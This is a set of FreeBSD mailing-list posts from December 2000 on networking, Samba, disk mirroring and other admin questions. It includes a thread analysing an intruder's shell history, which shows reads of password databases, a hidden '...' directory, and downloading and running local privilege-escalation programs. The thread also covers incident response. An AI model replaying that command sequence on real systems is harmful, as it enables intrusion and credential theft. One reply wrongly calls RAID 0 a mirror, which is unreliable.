> /sbin/ipfw add divert natd all from any to any via rl0
> /sbin/ipfw add pass all from any to any
> 
> i have changed my ip's and mask add's in all appropriate places (i think) 
> 
> i watch activity lights on my hub and modem and i can see that when i try
> to ping my isp's gateway
> from my other machine it looks like my modem is xmitting and recieving, but
> nothing comes through
> the hub i don't know
> 
> i would like to know how i can test xmit and recieve between the xl0 and
> the rl0 and then where else
> are there natd rules 
> 
> HELP!!!!!!!!!!!!!!!!!!!!!
> i'm getting frustrated 
> 
> 
> 
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> I've encountered a problem at a location where I am using a FreeBSD/Samba
> setup as a Fileserver for a small LAN ( ~5 workstations ).  The hardware
spec's
> of the server should be more than adiquate for a small LAN and the network
is
> running on all 100 base.

I run the same sort of setup unfortunately.  We have a DOS based database
program which simply cannot be discarded.  Because we're stuck with it, I
accepted it, killed the NT server and setup FreeBSD/Samba.  I'm running
Samba 2.0.7 and FreeBSD 4.2-STABLE.  Our database is 300-400 megs, and it's
not the only shared EXE on my Samba server.  We have timekeeping and other
software that all execute directly from the Samba shares.  I don't really
have any issues, except that the guy who wrote the DOS program decided he
liked reading data one byte at a time, so the overhead absolutely kills my
bandwidth.  I get around 200,000 bytes per second.  I increased NMBCLUSTERS,
and now, at times, the connection will peak at 700,000 bytes per second.
I'm using a 100BaseTX Switch.  Our server is an IBM Netfinity 3500 Dual
Pentium III 500 with 256megs ram and UltraWide 7200rpm SCSI.  I've tuned my
smb.conf file with settings shown on the Samba website and in SPEED.txt and
SPEED2.txt.

My suggestions to you would be:

(1) Is Samba acting as your master browser ?  (You want it to)
(2) Is Samba's WINS server running ?  (You want this too)
(3) Read speed.txt and optimize your smb.conf
(4) Are you using a hub or a switch ?  For this kind of DOS application
sharing I've found that a switch makes all the difference in the world.
(5) Rather than reading the stupid message Windows gives you about Network
Busy, go to /var/log and read the log.[client] file for the client you're
using along with log.smb and maybe even log.nmb.






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Chris Shenton (cshenton@OutBounderInc.com) wrote:

> When I switch between FreeBSD-4.2-STABLE/RELEASE the mouse becomes
> inoperative.  The "moused" man page indicates that you can get it back
> by sending it a HUP, and this works -- assuming your dead mouse is in
> a window you can type in :-(

Can't you ALT-TAB to an active XTerm?

> I'd prefer not to spend big bucks on a digital KVM, but if I do, would
> it solve this problem? A search of Questions/Hackers indicates there
> are some current problems with digital KVMs and FreeBSD that do not
> occur with other inferior OSes...

I've got a cheap Linksys KVM, and it seems to work pretty well with
FreeBSD. At least, if a power-outage hits your KVM and your mouse dies,
you can restart moused. I've found it more problematic with WindowsNT to
restart the mouse if it dies, primarily because you can't 'restart' a
driver, you need to start it and then stop it. Since the ps/2 mouse and
keyboard are driven by the same driver, you can stop the ps/2 mouse/kbd
driver, but I'm not sure how you'd start it again...

-- 
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In message <3A3E70E0.9AA146F8@jazz-sax.com>, you wrote:

>Why not just RAID them?

That's an interesting idea, but please tell me, can I ``just RAID''
a pre-existing filesystem that is only present one one of the two
disk drives in question?

It seems to me like it is a chicken-and-egg problem.  To RAID these two
drives together, they should both have identical contents to begin with
correct?

But if I knew how to achieve that state, then my problem would already be
(mostly) solved.  I mean hay!  If I can replicate all of the data from
one drive to the other... well... that's essentially what I was trying
to do in the first place anyway, so if I can do that, then I don't need
to RAID anything.


P.S.  Yes, I guess that I could perhaps just dd everything from one raw 
disk device to the other, but I have trouble convining myself that doing
that is really a safe thing to do, in particular when the input raw disk
device is home to a live file system which is actually mounted at the
present moment.  (What if some of the file systems's directory entires
change as I am doing the dd?)



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hi,
do you keep/have logs about what ftp transfers he did?
did you send mail to root@he.net, or .mx domain?
any idea how he break in? what freebsd you're using?
if i'm on your place, i'll unplug the box and try to find out more about
this. don't do like most of the sysadmins that just wipe the box.
alex

On Mon, 18 Dec 2000, Gerald T. Freymann wrote:

> 
> 
> Seems we have an intruder on one of our boxes... the .history file from the
> troubled account follows:
> 
> cd bnc
> ls
> ./bash
> who
> cd /etc
> more passwd
> ps -l
> ls -l
> more pwd.db
> more hosts
> pico adduser.conf.bak
> pico group
> su user
> pico group.bak
> pico ftpuser
> O
> pico ftpusers
> su toor
> su operator
> id
> pico spwd.db
> su wheel
> pico passwd
> cd /var/tmp
> ls -a
> cd ...
> ls -a
> cd ..
> ls -l
> ls -al
> cd ...
> ftp copper.he.net
> chmod u+x xcon
> ./xcon
> id
> rm *
> ls
> who
> cd /var/tmp
> ls -a
> ls -al
> cd ...
> ls -a
> ftp cih.edu.mx
> ls
> cc bsd1 bsd-cron.c
> cc -o bsd1 bsd-cron.c
> ./bsd1
> id
> cc -o bsd2 bsd2.c
> ./bsd2
> id
> ls
> ftp cih.edu.mx
> ./bsd sh
> ./bsd.sh
> chmod u+x bsd.sh
> ./bsd.sh
> /tmp/sh
> id
> ls
> cc -o bsdsmail bsdsmail.c
> ./bsdsmail
> ls -a
> pico hack
> ls
> pico user.inf
> ls
> id
> rm *
> exit
> 
>  Anybody recognize what the intruder has set up?
> 
> -Gerry
> 
> 
> 
> 
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|O|> do you keep/have logs about what ftp transfers he did?

 No. We don't log much of the FTP activity at all.

|O|> did you send mail to root@he.net, or .mx domain?

 Yes to the he.net domain, the .mx is next (I had to run out on a service
call!)

|O|> any idea how he break in?

 None. I'm about to run Tripwire. I haven't run it in a long while. Should
be interesting. Someone was on the machine last year and they like to use
the "amanda" user for some reason.

|O|> what freebsd you're using?

 This is an older box. FreeBSD 2.2.5. I'm working on a replacement box right
now actually, going to FreeBSD 4.1.2 with RAID1. Guess I should get hopping.

-Gerry



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Hi,

    I have a 9GB drive, ad0, that I partitioned into ad0s1 (4GB) and
    ad0s2 (5GB). FreeBSD resides on ad0s2, with Windows 98 on the
    former. For some strange reason, after installing FreeBSD
    4.1-RELEASE, I did `fdisk -a ad0s1' and changed one of the four
    partition entries to being active.

    I did this in an attempt to make the Windows 98 partition active. I
    now know the error of my ways (`fdisk -a ad0' would have been the
    appropriate command) but now I'm stuck with a Win98 partition that I
    can't boot (I get the message "Invalid system disk. Replace the
    disk, a" (note that it stops at the `a')).

    From fdisk:

dhcp-103-172-16-3# fdisk ad0s1
fdisk: can't get disk parameters on /dev/ad0s1; supplying dummy ones
******* Working on device /dev/ad0s1 *******
parameters extracted from in-core disklabel are:
cylinders=1 heads=1 sectors/track=1 (1 blks/cyl)

parameters to be used for BIOS calculations are:
cylinders=1 heads=1 sectors/track=1 (1 blks/cyl)

Media sector size is 512
Warning: BIOS sector numbering starts with sector 1
Information from DOS bootblock is:
The data for partition 1 is:
sysid 104,(unknown)
    start 1936028272, size 1851859059 (904228 Meg), flag 0
	beg: cyl 116/ sector 32/ head 100;
	end: cyl 288/ sector 46/ head 101
The data for partition 2 is:
sysid 121,(unknown)
    start 1330184192, size 538976288 (263172 Meg), flag 0
	beg: cyl 357/ sector 43/ head 32;
	end: cyl 0/ sector 10/ head 13
The data for partition 3 is:
sysid 83,(unknown)
    start 538989391, size 1398362912 (682794 Meg), flag 0
	beg: cyl 345/ sector 19/ head 32;
	end: cyl 324/ sector 19/ head 77
The data for partition 4 is:
sysid 73,(unknown)
    start 1394627663, size 21337 (10 Meg), flag 80 (active)
	beg: cyl 87/ sector 0/ head 1;     ^^^^^^^^^^^^^^^^
	end: cyl 335/ sector 2/ head 78


FreeBSD dhcp103-172-16-3.switch.com 4.1-RELEASE FreeBSD 4.1-RELEASE #0: Fri Jul 28 14:30:31 GMT 2000     jkh@ref4.freebsd.org:/usr/src/sys/compile/GENERIC  i386


        How do I make it so that none of the flags are 0x80? 

        Thanks in advance.

            Regards,

                Trent.


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On Mon, Dec 18, 2000 at 03:06:32PM -0500, Gerald T. Freymann wrote:
> Seems we have an intruder on one of our boxes... the .history file from the
> troubled account follows:
> 
> cd bnc
> ls
> ./bash
> who
> cd /etc
> more passwd
> ps -l
> ls -l
> more pwd.db
> more hosts
Looks like he's just storing stuff into his telnet buffer for recovery later.

> pico adduser.conf.bak
> pico group
> su user
> pico group.bak
> pico ftpuser
> O
> pico ftpusers
> su toor
> su operator
> id
> pico spwd.db
> su wheel
> pico passwd
I think this is fairly obvious :)

> cd /var/tmp
> ls -a
> cd ...
> ls -a
> cd ..
> ls -l
> ls -al
> cd ...
Ok, the 'cd ...' is where you need to be looking. I would venture to guess that if you go into /var/tmp you'll see an odd
. directory. When you do an ls -al you should only see . and .. A lot of system crackers will hide stuff in these type
directories which are easy to overlook.

I think once you find this directory you can determine what a lot of the rest of this does.

> ftp copper.he.net
> chmod u+x xcon
> ./xcon
> id
> rm *
> ls
> who
> cd /var/tmp
> ls -a
> ls -al
> cd ...
> ls -a
> ftp cih.edu.mx
> ls
> cc bsd1 bsd-cron.c
> cc -o bsd1 bsd-cron.c
> ./bsd1
> id
> cc -o bsd2 bsd2.c
> ./bsd2
> id
> ls
> ftp cih.edu.mx
> ./bsd sh
> ./bsd.sh
> chmod u+x bsd.sh
> ./bsd.sh
> /tmp/sh
> id
> ls
> cc -o bsdsmail bsdsmail.c
> ./bsdsmail
> ls -a
> pico hack
> ls
> pico user.inf
> ls
> id
> rm *
> exit
The rest of this is just him ftp'ing some source files and building them on your system. What they are...I don't know.

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	Do you know for sure it was an intruder?  Or was it just one of
your users?  either way that doesn't look good.  I'm no security expert,
but the programs they compiled and ran could easily be backdoors to get in
easily the next time.  It's hard (for me) to tell how bad it is without
knowing whether they were successful in getting root priveledges.  In the
history file we don't see the output of the command.  Nothing he did
afterwards seems to require root priveledges, but if he had them then
those programs could easily be backdoors. I would consider the box
compromised.  Is it still in use?  The best way to get the most
information about an attack is to shutdown and halt the machine ASAP.
Then mount everything read only (perhaps on another machine.  Then look
araound.  That way you won't overwrite possible clues.  Any disk access
after the intruder is there can overwrite that, and that is bad for
evidence.
	You may want to contact the administrators at the sites he ftp'd
to to alert them and see if they can tell what those files were that he
downloaded.  
	
						Tim

On Mon, 18 Dec 2000, Gerald T. Freymann wrote:

> 
> 
> Seems we have an intruder on one of our boxes... the .history file from the
> troubled account follows:
> 
> cd bnc
> ls
> ./bash
> who
> cd /etc
> more passwd
> ps -l
> ls -l
> more pwd.db
> more hosts
> pico adduser.conf.bak
> pico group
> su user
> pico group.bak
> pico ftpuser
> O
> pico ftpusers
> su toor
> su operator
> id
> pico spwd.db
> su wheel
> pico passwd
> cd /var/tmp
> ls -a
> cd ...
> ls -a
> cd ..
> ls -l
> ls -al
> cd ...
> ftp copper.he.net
> chmod u+x xcon
> ./xcon
> id
> rm *
> ls
> who
> cd /var/tmp
> ls -a
> ls -al
> cd ...
> ls -a
> ftp cih.edu.mx
> ls
> cc bsd1 bsd-cron.c
> cc -o bsd1 bsd-cron.c
> ./bsd1
> id
> cc -o bsd2 bsd2.c
> ./bsd2
> id
> ls
> ftp cih.edu.mx
> ./bsd sh
> ./bsd.sh
> chmod u+x bsd.sh
> ./bsd.sh
> /tmp/sh
> id
> ls
> cc -o bsdsmail bsdsmail.c
> ./bsdsmail
> ls -a
> pico hack
> ls
> pico user.inf
> ls
> id
> rm *
> exit
> 
>  Anybody recognize what the intruder has set up?
> 
> -Gerry
> 
> 
> 
> 
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"Ronald F. Guilmette" wrote:

> In message <3A3E70E0.9AA146F8@jazz-sax.com>, you wrote:
>
> >Why not just RAID them?
>
> That's an interesting idea, but please tell me, can I ``just RAID''
> a pre-existing filesystem that is only present one one of the two
> disk drives in question?

That's not a problem. The other drive needs to be empty.

>
> It seems to me like it is a chicken-and-egg problem.  To RAID these two
> drives together, they should both have identical contents to begin with
> correct?
>

No, the other disk needs to be the same size or larger. Do a "man vinum".
What you want to do is a RAID 0 (mirror).

>
> But if I knew how to achieve that state, then my problem would already be
> (mostly) solved.  I mean hay!  If I can replicate all of the data from
> one drive to the other... well... that's essentially what I was trying
> to do in the first place anyway, so if I can do that, then I don't need
> to RAID anything.
>

Seems stupid to waste time with a backup script or something if your just
going to use the other drive as basically a copy. RAID would take care of
that and you'd never have to worry about it.

>
> P.S.  Yes, I guess that I could perhaps just dd everything from one raw
> disk device to the other, but I have trouble convining myself that doing
> that is really a safe thing to do, in particular when the input raw disk
> device is home to a live file system which is actually mounted at the
> present moment.  (What if some of the file systems's directory entires
> change as I am doing the dd?)
>

Exactly what a RAID 0 would overcome, as it is a Mirror of the original
drive.

>
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Dear support,

  I have a 30 GB HD divided into 1 primary and 1 extended
  partition which is sub-divided into several logical
  partitions.

  How can I install FreeBSD in one of these logical partitions,
  since it seems that the installation program only recognizes
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Victor R. Cardona <vcardona@home.com> types:
> Christian Fl=FCgel wrote:
> > From: "Chris Dillon" <cdillon@wolves.k12.mo.us>
> >> RPM isn't used because the RPM system sucks.  FreeBSD has a superi=
or
> >> packaging and ports system, and it uses it.
> > I have always wondered why FreeBSD claims that the Ports System is =
superior
> > to the RPM packaging system used in most of the Linux flavors. Basi=
cally,
> > from my point of view, both should provide similar features with re=
gards to
> > Dependancy checking etc. .
> > Could anyone point out what makes the Ports collection better than =
Linux RPM
> I actually like both systems, and they both have their advantages. Po=
rts=20
> are better at handling dependencies. They will go out and get anythin=
g=20
> that is required. RPM will only tell you that a file is missing, but =
it=20
> will not tell you where that file can be obtained.
>=20
> I find upgrading RPMs to be a little easier then ports, but that may=20=

> just be personal bias because I have used them longer.

No, it's not a bias - it's real. RPMs have a mechanism for upgrading
an installed package; packages don't.

For me, the real advantage of the ports/package system is the *ports*
part of it. That it's not noticably harder to build a port from
sources - only set to install where I want it - than to install a
package is a major benefit that RPMs don't have. I'm sure that
everyone who builds RPMs has ported the software to Linux, but there
isn't a standardized way to package that, or a repository of them you
can access (at least, not that I'm aware of).

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ktb (x.y.f@home.com) wrote:

> 	I'm using 4.2 and csh.  I've set the prompt for regular user in
> 	~/.cshrc and it works fine.  I tried changing the prompt for
> 	root in /root/.cshrc and it doesn't work.  I've tried
> 	/etc/profile, /etc/csh.cshrc, and /root/.profile and it still
> 	won't work.  The string I'm using is -
> 	set prompt = "%m@[%/]# "
> 	Which file to I change to make this stick?

Um, I set my prompt in /root/.cshrc and it *does* work. I would look
through the .cshrc script and see if something is changing your prompt
back after you change it.

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i like wiping the box!

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On Mon, 18 Dec 2000, Alexander V P wrote:

> hi,
> do you keep/have logs about what ftp transfers he did?
> did you send mail to root@he.net, or .mx domain?
> any idea how he break in? what freebsd you're using?
> if i'm on your place, i'll unplug the box and try to find out more about
> this. don't do like most of the sysadmins that just wipe the box.
> alex
> 
> On Mon, 18 Dec 2000, Gerald T. Freymann wrote:
> 
> > 
> > 
> > Seems we have an intruder on one of our boxes... the .history file from the
> > troubled account follows:
> > 
> > cd bnc
> > ls
> > ./bash
> > who
> > cd /etc
> > more passwd
> > ps -l
> > ls -l
> > more pwd.db
> > more hosts
> > pico adduser.conf.bak
> > pico group
> > su user
> > pico group.bak
> > pico ftpuser
> > O
> > pico ftpusers
> > su toor
> > su operator
> > id
> > pico spwd.db
> > su wheel
> > pico passwd
> > cd /var/tmp
> > ls -a
> > cd ...
> > ls -a
> > cd ..
> > ls -l
> > ls -al
> > cd ...
> > ftp copper.he.net
> > chmod u+x xcon
> > ./xcon
> > id
> > rm *
> > ls
> > who
> > cd /var/tmp
> > ls -a
> > ls -al
> > cd ...
> > ls -a
> > ftp cih.edu.mx
> > ls
> > cc bsd1 bsd-cron.c
> > cc -o bsd1 bsd-cron.c
> > ./bsd1
> > id
> > cc -o bsd2 bsd2.c
> > ./bsd2
> > id
> > ls
> > ftp cih.edu.mx
> > ./bsd sh
> > ./bsd.sh
> > chmod u+x bsd.sh
> > ./bsd.sh
> > /tmp/sh
> > id
> > ls
> > cc -o bsdsmail bsdsmail.c
> > ./bsdsmail
> > ls -a
> > pico hack
> > ls
> > pico user.inf
> > ls
> > id
> > rm *
> > exit
> > 
> >  Anybody recognize what the intruder has set up?
> > 
> > -Gerry
> > 
> > 
> > 
> > 
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Why not just RAID them?

"Ronald F. Guilmette" wrote:

> In message <20001218134403.B27688@northernbrewer.com>, you wrote:
>
> >Ronald F. Guilmette (rfg@monkeys.com) wrote:
> >
> >> So how am I supposed to preserve them when making my full backups?
> >
> >man 8 dump
>
> Nope.  I don't think this solves my problem, but maybe I should have been
> more specific.
>
> Here's what I would REALLY like to do...
>
> I have two 4GB SCSI disk drives in one particular system I own.  The first
> drive is full of Good Stuff[tm] that I want to mak backups of nightly.
> The second drive is current empty of devoid of useful contents.
>
> Assuming that I have already made a ufs filesystem on the target drive, I
> would like to be able to have a nightly cron job that does a cpio copy
> from one drive to the other and then have the other drive be something
> that, at a moment's notice, I could boot up and run with (e.g. when and
> if the first drive crashes).
>
> But this doesn't seem to be something that is supported by dump(8).  The
> man page seems to indicate that even if dump(8) is directed to place the
> backup copy of your data onto a disk drive, that it will just be treating
> that (output) disk drive as if it where just a tape drive:
>
>      -f file
>              Write the backup to file; file may be a special device file like
>              /dev/rsa0 (a tape drive), /dev/fd1 (a floppy disk drive), an or-
>              dinary file, or `-' (the standard output).  Multiple file names
>              may be given as a single argument separated by commas.  Each file
>              will be used for one dump volume in the order listed; if the dump
>              requires more volumes than the number of names given, the last
>              file name will used for all remaining volumes after prompting for
>              media changes.  If the name of the file is of the form
>              ``host:file'', or ``user@host:file'', dump writes to the named
>              file on the remote host using rmt(8).  The default path name of
>              the remote rmt(8) program is /etc/rmt; this can be overridden by
>              the environment variable RMT.
>
> This is not what I want.  I want the output device to be a disk drive, and
> one with a live filesystem already on it.
>
> I hope that I have made my desires more clear now.
>
> Anyway, the only way I can see to do what I want to do is with something
> like cpio (or maybe tar, but cpio is probably better for this sort of thing).
> The only problems is that it looks to me like cpio will fail to copy over
> the extra file flags. :-(
>
> I wish there was a quick solution for that.
>
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Tim McMillen wrote:

> 
> 	Do you know for sure it was an intruder?  Or was it just one of
> your users?  either way that doesn't look good.  I'm no security expert,
> but the programs they compiled and ran could easily be backdoors to get in
> easily the next time.  It's hard (for me) to tell how bad it is without
> knowing whether they were successful in getting root priveledges.  In the
> history file we don't see the output of the command.  Nothing he did
> afterwards seems to require root priveledges, but if he had them then
> those programs could easily be backdoors. I would consider the box
> compromised.  Is it still in use?  The best way to get the most
> information about an attack is to shutdown and halt the machine ASAP.
> Then mount everything read only (perhaps on another machine.  Then look
> araound.  That way you won't overwrite possible clues.  Any disk access
> after the intruder is there can overwrite that, and that is bad for
> evidence.
> 	You may want to contact the administrators at the sites he ftp'd
> to to alert them and see if they can tell what those files were that he
> downloaded.  
> 	
> 						Tim

The results of the su ought to be in /var/log/messages.  Especially the 
one to toor.  You should either see a success or failure message.  Of 
course, he can only su to toor if the user he was in as is in group wheel.

-- 
Jonathan Fosburgh
Open Systems
Communications and Computer Services
UT MD Anderson Cancer Center
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Gerald T. Freymann (freymann@eagle.ca) wrote:

> 
>  Are there supposed to be blank passwords in /etc/master.passwd??
> 
>  Such as..
> 
> toor:*:0:0::0:0:Bourne-again Superuser:/root:
> daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
> operator:*:2:5::0:0:System &:/:/sbin/nologin
> 
> Aren't those "*"'s in the password field bad?

No, an asterisk is not the same as an empty password. From man 5
passwd: "Administrative accounts have a password field containing
an asterisk `*' which disallows normal logins."

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This is not good information..  the best thing to do is NOT to shut down the
machine.. you may lose vital info if you have in fact been rooted..   you
should however remove your machine from the network...  and plug it in to
another blank ethernet hub so as not to fill your logs with interface down
error messages..

To postmortem a box is a complex process because you can not be sure that
you have not had any command replacements and rootkits applied to your
box...  try to check the integrity of your commands and last change date..
as well as your $path.  If needed replace the commands on your box to be
sure that everything is in fact working correctly..  try getting lsof or
similar proggy like fstat to check files and processes...  you will want to
see if there are any other back doors on your machine...  comb your logs and
see what you can find there..  hope this gets you started...

lates
http://bsdvault.net

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Tim McMillen wrote:

>
> 	Do you know for sure it was an intruder?  Or was it just one of
> your users?  either way that doesn't look good.  I'm no security expert,
> but the programs they compiled and ran could easily be backdoors to get in
> easily the next time.  It's hard (for me) to tell how bad it is without
> knowing whether they were successful in getting root priveledges.  In the
> history file we don't see the output of the command.  Nothing he did
> afterwards seems to require root priveledges, but if he had them then
> those programs could easily be backdoors. I would consider the box
> compromised.  Is it still in use?  The best way to get the most
> information about an attack is to shutdown and halt the machine ASAP.
> Then mount everything read only (perhaps on another machine.  Then look
> araound.  That way you won't overwrite possible clues.  Any disk access
> after the intruder is there can overwrite that, and that is bad for
> evidence.
> 	You may want to contact the administrators at the sites he ftp'd
> to to alert them and see if they can tell what those files were that he
> downloaded.
>
> 						Tim

The results of the su ought to be in /var/log/messages.  Especially the
one to toor.  You should either see a success or failure message.  Of
course, he can only su to toor if the user he was in as is in group wheel.

--
Jonathan Fosburgh
Open Systems
Communications and Computer Services
UT MD Anderson Cancer Center
Houston, TX



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|O|> Do you know for sure it was an intruder?

 Had to be. All of this was done under the name of our backup software
(amanda)

|O|> The results of the su ought to be in /var/log/messages.
|O|> Especially the one to toor.  You should either see a success or failure
message.

 Duh! Forgot about that. It only logs successful su's and there are none
from anybody but staff since Nov 30th.

|O|> Of course, he can only su to toor if the user he was in as is in
|O|> group wheel.

 How true. I'm not sure how they got in, but supposedly it may not be to
bad? The box is being replaced this week. I have Tripwire running on other
boxes as of right now.

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hi,
nothing wrong with that as far as i'm concern. we ( freebsd community)
don't have that many breakings and every one needs to be investigated.
personally i would do that and post somewhere results, so tomorrow (less 
expirienced, fortunate etc) admins can read about it.
after all i'll wipe that box anyway ;-). it takes a lotsa guts to
post on freebsd mailing list ( or anywhere for that matter) something like
this.
alex


On Mon, 18 Dec 2000, Joe Oliveiro wrote:

> i like wiping the box!
> 
> Microsoft: "Where would you like to go to today"
> Linux: "Where would you like to go tomorrow"
> FreeBSD: "Hey,when are you guys going to catch up"
> 
> 
> On Mon, 18 Dec 2000, Alexander V P wrote:
> 
> > hi,
> > do you keep/have logs about what ftp transfers he did?
> > did you send mail to root@he.net, or .mx domain?
> > any idea how he break in? what freebsd you're using?
> > if i'm on your place, i'll unplug the box and try to find out more about
> > this. don't do like most of the sysadmins that just wipe the box.
> > alex
> > 
> > On Mon, 18 Dec 2000, Gerald T. Freymann wrote:
> > 
> > > 
> > > 
> > > Seems we have an intruder on one of our boxes... the .history file from the
> > > troubled account follows:
> > > 
> > > cd bnc
> > > ls
> > > ./bash
> > > who
> > > cd /etc
> > > more passwd
> > > ps -l
> > > ls -l
> > > more pwd.db
> > > more hosts
> > > pico adduser.conf.bak
> > > pico group
> > > su user
> > > pico group.bak
> > > pico ftpuser
> > > O
> > > pico ftpusers
> > > su toor
> > > su operator
> > > id
> > > pico spwd.db
> > > su wheel
> > > pico passwd
> > > cd /var/tmp
> > > ls -a
> > > cd ...
> > > ls -a
> > > cd ..
> > > ls -l
> > > ls -al
> > > cd ...
> > > ftp copper.he.net
> > > chmod u+x xcon
> > > ./xcon
> > > id
> > > rm *
> > > ls
> > > who
> > > cd /var/tmp
> > > ls -a
> > > ls -al
> > > cd ...
> > > ls -a
> > > ftp cih.edu.mx
> > > ls
> > > cc bsd1 bsd-cron.c
> > > cc -o bsd1 bsd-cron.c
> > > ./bsd1
> > > id
> > > cc -o bsd2 bsd2.c
> > > ./bsd2
> > > id
> > > ls
> > > ftp cih.edu.mx
> > > ./bsd sh
> > > ./bsd.sh
> > > chmod u+x bsd.sh
> > > ./bsd.sh
> > > /tmp/sh
> > > id
> > > ls
> > > cc -o bsdsmail bsdsmail.c
> > > ./bsdsmail
> > > ls -a
> > > pico hack
> > > ls
> > > pico user.inf
> > > ls
> > > id
> > > rm *
> > > exit
> > > 
> > >  Anybody recognize what the intruder has set up?
> > > 
> > > -Gerry
> > > 
> > > 
> > > 
> > > 
> > > 
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> > > Any comments or suggestions welcome.
> >
> > Fix doscmd, which does the emulation in userland (which is even better
> > than running as a KLD).
> 
> What's wrong with doscmd ?  I hadn't noticed this one used BSD filesystems
> in addition to image files.  That was my #1 issue with some of the other
> emulators.

It needs a lot of TLC; there are plenty of places where it could be 
usefully extended as well.

One might also consider abandoning it entirely and making plex86 work, if 
one was really interested in that sort of thing.

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Gerald,
If it was blank, it would be A Bad Thing (TM). In this case, the *
signifies that the user cannot login from a terminal (local or
remote). These are just names that certain daemons/apps run under.
Every process has to have an owner. Look at the output of ps aux or
top sometime.
-Otter


}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
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}Freymann
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}Subject: blank passwords in master.passwd?
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} Are there supposed to be blank passwords in /etc/master.passwd??
}
} Such as..
}
}toor:*:0:0::0:0:Bourne-again Superuser:/root:
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On Mon, 18 Dec 2000, Raymond Hicks wrote:

> This is not good information..  the best thing to do is NOT to shut down the
> machine.. you may lose vital info if you have in fact been rooted..   you

	Care to explain that?  How would you lose information by halting
the machine?  Halting it freezes the information in place and gives you
chance to do the postmortem analysis with a cleaner slate.  Allowing it to
run (especially multi user) allows lots of disk writes and a chance to
wipe out the information you may need.  Everything I've read says you want
to preserve the evidence as well as possible by halting and preventing
further disk writing.

> should however remove your machine from the network...  and plug it in to
> another blank ethernet hub so as not to fill your logs with interface down
> error messages..
> 
> To postmortem a box is a complex process because you can not be sure that
> you have not had any command replacements and rootkits applied to your
> box...  try to check the integrity of your commands and last change date..

	Which seems to me to be another reason to halt the box and mount
the disk on another machine ro for analysis. Then you know you are using
good tools.  But apparently I am missing something, and would be
interested in more details.


					Tim




> as well as your $path.  If needed replace the commands on your box to be
> sure that everything is in fact working correctly..  try getting lsof or
> similar proggy like fstat to check files and processes...  you will want to
> see if there are any other back doors on your machine...  comb your logs and
> see what you can find there..  hope this gets you started...
> 
> lates
> http://bsdvault.net
> 
> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jonathan
> Fosburgh
> Sent: Monday, December 18, 2000 4:00 PM
> To: Tim McMillen
> Cc: Gerald T. Freymann; Questions
> Subject: Re: Hacker history file - OUCH
> 
> 
> 
> 
> Tim McMillen wrote:
> 
> >
> > 	Do you know for sure it was an intruder?  Or was it just one of
> > your users?  either way that doesn't look good.  I'm no security expert,
> > but the programs they compiled and ran could easily be backdoors to get in
> > easily the next time.  It's hard (for me) to tell how bad it is without
> > knowing whether they were successful in getting root priveledges.  In the
> > history file we don't see the output of the command.  Nothing he did
> > afterwards seems to require root priveledges, but if he had them then
> > those programs could easily be backdoors. I would consider the box
> > compromised.  Is it still in use?  The best way to get the most
> > information about an attack is to shutdown and halt the machine ASAP.
> > Then mount everything read only (perhaps on another machine.  Then look
> > araound.  That way you won't overwrite possible clues.  Any disk access
> > after the intruder is there can overwrite that, and that is bad for
> > evidence.
> > 	You may want to contact the administrators at the sites he ftp'd
> > to to alert them and see if they can tell what those files were that he
> > downloaded.
> >
> > 						Tim
> 
> The results of the su ought to be in /var/log/messages.  Especially the
> one to toor.  You should either see a success or failure message.  Of
> course, he can only su to toor if the user he was in as is in group wheel.
> 
> --
> Jonathan Fosburgh
> Open Systems
> Communications and Computer Services
> UT MD Anderson Cancer Center
> Houston, TX
> 
> 
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 Holy crap. I don't believe this... we had an intruder on this machine in
Jan of 2000 and for some STUPID reason I mistook that date as Dec 2000 (too
busy I guess). I never cleared out the history files.

 False alarm. Duh. <turns red>

 Thanks to everybody for their responses however.

 P.S.

 I now have Tripwire running weekly on all 4 of our FreeBSD boxes.

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}-----Original Message-----
}From: dg@implode.root.com [mailto:dg@implode.root.com]On
}Behalf Of David
}Greenman
}Sent: Monday, December 18, 2000 2:47 PM
}To: Jose A. Rodriguez
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}
}
}>	Once again you've problem with your ftp server on
}freebsd.org, please try
}>to correct this situation because I want to finish download
}your software.
}
}   The server is working fine. Your problem is a network
}problem of some type
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>Christopher Farley wrote:

>> J.Goodleaf (john@goodleaf.net) wrote:
>> 
>>> If you need/want a dual proc machine, you must go Intel.
>> 
>> 
>> If I'm not mistaken, this is a hardware limitation, not a FreeBSD
>> limitation... Dual processor AMD motherboards aren't made yet. It's a
>> shame nobody will take a risk on a dual-processor AMD server MB. 
>> 
>I believe it's not the fact that the AMD can't handle dual support, it's 
>just the motherboards: specifically, the chipset. However AMD is 
>planning to come out with the 730 chipset (I think) mid next year to 
>support dual cpus.

The new chipset is the AMD 760 with is already released. Check out
ASUS webpage for more info.
The motherboard will be released in early 2001 pending tests and
of course flaws they find in their design. The two likely candidates for
the motherboard is VIA and ASUS, but has also heard an romour about
AMD coming out with thier own motherboard to kickstart this highly
atticipated motherboard.
Thinking 'bout running an dual Athlon 1,2, overclocked to 1,5 Ghz each
really makes my day!!

Check out AMD roadmap for more information.

PeTe


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On Monday 18 December 2000 17:10, Matthew Emmerton wrote:
> > Someone wrote:
> > then If  I want to learn shell script programming on FreeBSD, there are
>
> two shell
>
> > languages to learn, two big horrible manuals to read,  this also sucks, 
> > I
>
> am tired.
>
> > this is obstacle for Linux user switch to FreeBSD, bash is compatible
> > with

Oh just install bash from the ports and make it your default ordinary
user shell and stop complaining !

I had it confirmed to me here by the BSD experts that changing the root
shell from csh to a STATICALLY linked other shell will not break anything.
/bin/sh therefore should be fine, bash you may have to relink to make it
static. If it isn't you may have serious problems at some point...

Even if you log on as root under normal use, you can always just type "bash" 
at the prompt !

As far as capabilities go for all practical purposes anything you can do in 
"tcsh" you can do in "bash" and vice versa. They are just different.

I am talking about interactive use here.
Shell scripting is a whole other kettle of fish...

Be glad it is FreeBSD, all these choices !

Cliff

p.s. does anyone use "zsh" ...?




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huh?
let me ask a stupid question, i'm curious. you have same box since than
w/o rebuilding FreeBSD on the box  or it's just a history that
you cp to new install?
alex


On Mon, 18 Dec 2000, Gerald T. Freymann wrote:

>  Holy crap. I don't believe this... we had an intruder on this machine in
> Jan of 2000 and for some STUPID reason I mistook that date as Dec 2000 (too
> busy I guess). I never cleared out the history files.
> 
>  False alarm. Duh. <turns red>
> 
>  Thanks to everybody for their responses however.
> 
>  P.S.
> 
>  I now have Tripwire running weekly on all 4 of our FreeBSD boxes.
> 
> -Gerry
